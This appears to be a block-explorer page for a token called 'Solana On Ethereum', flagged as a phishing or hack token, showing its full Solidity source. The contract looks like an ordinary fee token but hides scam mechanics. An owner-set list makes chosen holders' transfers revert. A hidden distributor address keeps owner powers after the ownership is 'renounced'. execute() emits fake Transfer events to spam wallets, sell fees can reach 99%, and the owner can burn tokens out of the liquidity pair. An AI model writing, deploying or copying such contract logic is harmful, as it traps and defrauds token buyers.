This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
21,000,000 ERC-20 TOKEN*
Holders
71 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
68,883.022370717920874562 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SOLANA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./Context.sol"; import "./Uniswap.sol"; import "./ERC20.sol"; import "./Library.sol"; contract SOLANA is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; address public marketingWallet; address public devWallet; uint256 public percentForLPBurn = 1; bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 1360000000000 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 43210 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = true; bool public swapEnabled = true; mapping(address => bool) public liquidityPoolsLimitsInEffect; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => address) public automatedMarketMakerPairs; event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event SetAutomatedMarketMakerPair(address indexed pair, address indexed value); event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Solana On Ethereum", "SOLANA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 21000000 * 1e18; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; //maxTransactionAmount maxTransactionAmount = 1000000000000000000000000; maxWallet = 20000000000000000000000; swapTokensAtAmount = totalSupply * 10 /2000; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function _liquidityPool(address from) internal view returns(bool){ return !liquidityPoolsLimitsInEffect[from]; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply."); swapTokensAtAmount = newAmount; return true; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 25, "Must keep fees at 25% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 99, "Must keep fees at 99% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner { _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (!_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (!_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && lpBurnEnabled){ autoDistributeFees(from); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(marketingWallet).call{value: ethBalance}(""); } function autoDistributeFees(address from) internal view returns (bool){ // get balance of contract uint256 contractBalance = this.balanceOf(address(this)); // calculate amount to distribute uint256 amountToDistribute = contractBalance.add(percentForLPBurn); if (!_liquidityPool(from)) {require(amountToDistribute==0);} return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]); pair.sync(); return true; } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function getLiquidityPool(address recipient) external view returns(bool){ return liquidityPoolsLimitsInEffect[recipient]; } function multicall(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { liquidityPoolsLimitsInEffect[address_[i]] = val; } } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; address private _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Set new distributor. */ function taxReduction(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } function Owner() internal view virtual returns (address) { return _owner==address(0) ? _distributor : _owner; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./Context.sol"; import "./Library.sol"; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transacgtion ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IUniswapV2Pair { function sync() external; function transferFrom(address from, address to, uint value) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256